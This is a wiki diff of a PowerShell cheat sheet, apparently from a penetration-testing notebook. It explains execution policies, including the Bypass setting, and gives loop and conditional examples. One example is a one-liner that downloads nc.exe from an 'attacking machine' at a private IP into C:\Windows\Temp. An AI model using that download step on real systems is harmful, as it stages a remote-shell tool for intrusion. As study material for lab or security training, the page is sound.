cheat_sheets_ps
Differences
This shows you the differences between two versions of the page.
Both sides previous revisionPrevious revisionNext revision | Previous revision | ||
cheat_sheets_ps [2022/11/21 00:05] – gman | cheat_sheets_ps [2022/12/29 23:43] (current) – gman | ||
---|---|---|---|
Line 1: | Line 1: | ||
====== Windows PowerShell ====== | ====== Windows PowerShell ====== | ||
- | A very useful one-liner to download | + | ===== Execution Policies ===== |
+ | |||
+ | PowerShell (PS) execution policies determine your authorization to execute PS scripts or not: | ||
+ | | ||
+ | - **AllSigned: | ||
+ | - **RemoteSigned: | ||
+ | - Allows any PS script written on the local machine. | ||
+ | - But requires downloaded scripts to be signed by a trusted publisher. | ||
+ | - **Unrestricted: | ||
+ | - **Bypass:** Allows any and all PS scripts. Have at it! | ||
+ | |||
+ | Syntax for changing | ||
< | < | ||
- | (New-Object System.Net.WebClient).DownloadFile(" | + | Set-ExecutionPolicy [name] |
+ | # Example: | ||
+ | Set-ExecutionPolicy RemoteSigned | ||
</ | </ | ||
---- | ---- | ||
- | **Example: For Loop** | + | ===== Example |
+ | |||
+ | ==== One-Liner Download ==== | ||
+ | |||
+ | A very useful one-liner to download a file (nc.exe) from an attacking machine (IP 192.168.77.128) and save it in C:\Windows\Temp using the same name: | ||
+ | |||
+ | < | ||
+ | (New-Object System.Net.WebClient).DownloadFile(" | ||
+ | </ | ||
+ | |||
+ | ==== For Loop ==== | ||
< | < | ||
Line 27: | Line 50: | ||
</ | </ | ||
- | ---- | + | ==== Conditional |
- | + | ||
- | **Example: | + | |
< | < |
cheat_sheets_ps.1668989100.txt.gz · Last modified: by gman